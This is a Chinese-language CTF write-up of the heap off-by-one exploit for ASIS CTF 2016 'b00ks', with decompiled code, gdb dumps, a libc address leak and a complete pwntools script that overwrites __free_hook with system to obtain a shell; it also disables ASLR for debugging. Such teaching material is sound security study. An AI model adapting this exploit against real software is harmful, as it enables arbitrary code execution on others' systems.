off-by-one 原理 严格来说,off-by-one漏洞是一种特殊的溢出漏洞,指程序向缓冲区中写入时,写入的字节数超过了缓冲区本身的大小,并且只越界了一个字节。这种漏洞的产生往往与边界验证不严或字符串操作有关,当然也有可能写入的size正好就只多了一个字节:
使用循环语句向缓冲区中写入数据时,循环的次数设置错误导致多写入一个字节 字符串操作不合适,比如忽略了字符串末尾的\x00
一般而言,单字节溢出很难利用。但因为Linux中的堆管理机制ptmalloc验证的松散型,基于Linux堆的off-by-one漏洞利用起来并不复杂,而且威力强大。需要说明的是,off-by-one
是可以基于各种缓冲区的,如栈、bss段等。但堆上的off-by-one
在CTF中比较常见,下面以2016年asis CTF中的b00ks为实例进行分析。
题目分析 题目是一个常见的菜单式程序,功能是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能:
1 2 3 4 5 6 7 8 9 10 Welcome to ASISCTF book library Enter author name: 1. Create a book 2. Delete a book 3. Edit a book 4. Print book detail 5. Change current author name 6. Exit >
题目是一个64位程序,其启用的保护措施如下:
1 2 3 4 5 6 7 8 9 $ file ./b00ks ./b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
在创建book时,name和description在堆上分配。首先使用malloc分配name buffer,大小不超过32;之后,分配description buffer, 大小自定义;最后分配book结构体,用于保存book的信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 printf ("\nEnter book name size: " , *(_QWORD *)&v1);__isoc99_scanf("%d" , &v1); if ( v1 >= 0 ){ printf ("Enter book name (Max 32 chars): " , *(_QWORD *)&v1); ptr = malloc (v1); if ( ptr ){ if ( read_input(ptr, (unsigned int )(v1 - 1 )) ) printf ("\nEnter book description size: " , *(_QWORD *)&v1);__isoc99_scanf("%d" , &v1); if ( v1 >= 0 ){ v5 = malloc (v1); if ( v5 ) { printf ("Enter book description: " , *(_QWORD *)&v1); if ( read_input(v5, (unsigned int )(v1 - 1 )) ) v3 = malloc (0x20 uLL); if ( v3 ){ *((_DWORD *)v3 + 6 ) = v1; *((_QWORD *)global_book_struct_array + v2) = v3; *((_QWORD *)v3 + 2 ) = v5; *((_QWORD *)v3 + 1 ) = ptr; *(_DWORD *)v3 = ++book_counts; return 0L L; }
其中,通过分析,book struct的定义如下:
1 2 3 4 5 6 struct book_struct { int book_id; char * book_name; char * book_description; int book_description_size; }
漏洞分析 程序中用于读取输入的read_input()函数(函数名字已重命名)存在off-by-one漏洞,当输入数据的长度正好为a2时,会向buf中越界写入一个字节\x00
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 signed __int64 __fastcall read_input (void *a1, int a2) { if ( a2 > 0 ) { buf = a1; for ( i = 0 ; ; ++i ) { if ( (unsigned int )read(0 , buf, 1u LL) != 1 ) return 1L L; if ( *(_BYTE *)buf == 10 ) break ; buf = (char *)buf + 1 ; if ( i == a2 ) break ; } *(_BYTE *)buf = 0 ; result = 0L L; } }
信息泄露漏洞 由于author_name_ptr
和global_book_struct_array
之间正好相差32个字节,当输入的author_name长度为32时,会向author_name_ptr
中越界写入一个字节\x00
。之后,在创建book_struct时,会将其地址保存在global_book_struct_array
中,覆盖之前的字符串截断符\x00
。因此,通过打印author_name可以实现信息信泄露。
1 2 3 4 5 6 .data:0000000000202008 ; .data:off_202008o .data:0000000000202010 global_book_struct_array dq offset unk_202060 .data:0000000000202010 ; DATA XREF: sub_B24:loc_B38o .data:0000000000202010 ; delete_book:loc_C1Bo ... .data:0000000000202018 author_name_ptr dq offset unk_202040 ; DATA XREF: input_author_name+15o .data:0000000000202018 ; print_book+CAo
off-by-one漏洞 通过修改author_name可以向author_name_ptr
中越界写入一个字节\x00
,这样会覆盖global_book_struct_array
中保存的第一个book_struct的地址。
漏洞利用 主要思想如下:创建2个book,通过单字节溢出,使得book1_struct
指针指向book1_description
中;然后在book1_description
中伪造一个book1_struct
,使得其中的book1_description_ptr
指向book2_description_ptr
;通过先后修改book1_description
和book2_description
,从而实现任意地址写任意内容的功能。
为了方便调试,临时禁用了系统的地址随机化功能:echo 0 > /proc/sys/kernel/randomize_va_space
创建book book1的description的大小要尽量大一点(如140),保证当单字节溢出后book1_struct指针落在book1的description中,从而对其可控,为后续伪造book1_struct打下基础。book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 gdb-peda$ x/10xg 0x555555554000+0x202040 0x555555756040: 0x6161616161616161 (<== author_name) 0x6161616161616161 0x555555756050: 0x6161616161616161 0x6161616161616161 0x555555756060: 0x0000555555758160 (<== book1_struct_ptr) 0x0000555555758190 (<== book2_struct_ptr) gdb-peda$ x/60xg 0x0000555555758010 0x555555758010: 0x0000000000000000 0x00000000000000a1 (<== heap: book1_name) 0x555555758020: 0x0000315f6b6f6f62 0x0000000000000000 ... ... 0x5555557580b0: 0x0000000000000000 0x00000000000000a1 (<== heap: book1_description) 0x5555557580c0: 0x6f62207473726966 0x7461657263206b6f ... ... 0x555555758100: 0x0000000000000000 0x0000000000000000 ... ... 0x555555758150: 0x0000000000000000 0x0000000000000031 (<== heap: book1_struct) 0x555555758160: 0x0000000000000001 0x0000555555758020 0x555555758170: 0x00005555557580c0 0x000000000000008c 0x555555758180: 0x0000000000000000 0x0000000000000031 (<== heap: book2_struct) 0x555555758190: 0x0000000000000002 0x00007ffff7fd2010 0x5555557581a0: 0x00007ffff7fb0010 0x0000000000021000 0x5555557581b0: 0x0000000000000000 0x0000000000020e51
从global_book_strcut_array(0x555555756060)
中可以看到,当发生null byte溢出时,book1_struct
的指针变为0x555555758100
,正好落在book1_description的范围内。
伪造book1_struct 为了使得伪造的book1_description_ptr
指向book2_description_ptr
,需要先知道book2_struct的地址,可以通过打印author_name从而泄露得到该地址。
之后通过修改book1_description
,伪造一个book1_struct
。可以看到book1_description_ptr
已经指向了book2_name_ptr
。(通过+8就能指向book2_description_ptr
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 gdb-peda$ x/60xg 0x0000555555758010 0x5555557580b0: 0x0000000000000000 0x00000000000000a1 ... ... 0x5555557580f0: 0x6161616161616161 0x6161616161616161 0x555555758100: 0x0000000000000001 0x0000555555758198 0x555555758110: 0x0000555555758198 (<== 指向book2的name_ptr) 0x000000000000ffff ... ... 0x555555758150: 0x0000000000000000 0x0000000000000031 0x555555758160: 0x0000000000000001 0x0000555555758020 0x555555758170: 0x00005555557580c0 0x000000000000008c 0x555555758180: 0x0000000000000000 0x0000000000000031 0x555555758190: 0x0000000000000002 0x00007ffff7fd2010 0x5555557581a0: 0x00007ffff7fb0010 0x0000000000021000 0x5555557581b0: 0x0000000000000000 0x0000000000020e51
空字节覆盖 修改author_name,覆盖global_book_struct_array
中保存的第一个book_struct
指针。之后通过打印book可以泄露得到book2_name_ptr
, 从而得到该地址与libc基址之间的偏移。
1 2 3 4 5 6 7 8 9 10 11 12 gdb-peda$ vmmap Start End Perm Name 0x0000555555554000 0x0000555555556000 r-xp /.../b00ks ... ... 0x0000555555757000 0x0000555555779000 rw-p [heap] 0x00007ffff7a0d000 (<== 计算与该地址的偏移) 0x00007ffff7bcd000 r-xp /.../libc.so.6 0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /.../libc.so.6 0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /.../libc.so.6 0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /.../libc.so.6 0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped 0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped
获取shell 通过先后修改book1_description
和book2_description
,可以实现任意地址写任意内容的功能。由于该程序启用了FULL RELRO
保护措施,无法对GOT
进行改写,但是可以改写__free_hook
或__malloc_hook
。
结合前面泄露的book2_name_ptr
和计算得到的偏移,可以计算出libc的基址,进一步可得到__free_hook
和system
函数运行时的地址,以及libc中字符串”/bin/sh”的地址。之后将__free_hook
指向的内容修改为system
的地址,在调用free
函数时,由于__free_hook
里面的内容不为NULL
,从而执行指向的指令。
完整的漏洞利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *context(log_level='debug' , os='linux' ) def create_book (target, name_size, book_name, desc_size, book_desc ): target.recv() target.sendline('1' ) target.sendlineafter('Enter book name size: ' , str (name_size)) target.sendlineafter('Enter book name (Max 32 chars): ' , book_name) target.sendlineafter('Enter book description size: ' , str (desc_size)) target.sendlineafter('Enter book description: ' , book_desc) def delete_book (target, book_id ): target.recv() target.sendline('2' ) target.sendlineafter('Enter the book id you want to delete: ' , str (book_id)) def edit_book (target, book_id, book_desc ): target.recv() target.sendline('3' ) target.sendlineafter('Enter the book id you want to edit: ' , str (book_id)) target.sendlineafter('Enter new book description: ' , book_desc) def print_book (target ): target.recvuntil('>' ) target.sendline('4' ) def change_author_name (target, name ): target.recv() target.sendline('5' ) target.sendlineafter('Enter author name: ' , name) def input_author_name (target, name ): target.sendlineafter('Enter author name: ' , name) DEBUG = 0 LOCAL = 1 if LOCAL: target = process('./b00ks' ) else : target = remote('127.0.0.1' , 5678 ) libc = ELF('./libc.so.6' ) image_base = 0x555555554000 if DEBUG: pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245 )) input_author_name(target, 'a' *32 ) create_book(target, 140 ,'book_1' , 140 , 'first book created' ) print_book(target) target.recvuntil('a' *32 ) temp = target.recvuntil('\x0a' ) book1_struct_addr = u64(temp[:-1 ].ljust(8 , '\x00' )) book2_struct_addr = book1_struct_addr + 0x30 create_book(target, 0x21000 , 'book_2' , 0x21000 , 'second book create' ) payload = 'a' * 0x40 + p64(1 ) + p64(book2_struct_addr + 8 ) * 2 + p64(0xffff ) edit_book(target, 1 , payload) change_author_name(target, 'a' *32 ) print_book(target) target.recvuntil('Name: ' ) temp = target.recvuntil('\x0a' ) book2_name_ptr = u64(temp[:-1 ].ljust(8 , '\x00' )) offset = 0x7ffff7fd2010 - 0x7ffff7a0d000 libcbase = book2_name_ptr - offset free_hook = libc.symbols['__free_hook' ] + libcbase system = libc.symbols['system' ] + libcbase binsh_addr = libc.search('/bin/sh' ).next () + libcbase payload = p64(binsh_addr) + p64(free_hook) edit_book(target, 1 , payload) payload = p64(system) edit_book(target, 2 , payload) delete_book(target, 2 ) target.interactive()
相关链接 ASIS CTF Quals 2016 b00ks Writeup Asis CTF 2016 b00ks 堆中的 Off-By-One 附件下载 b00ks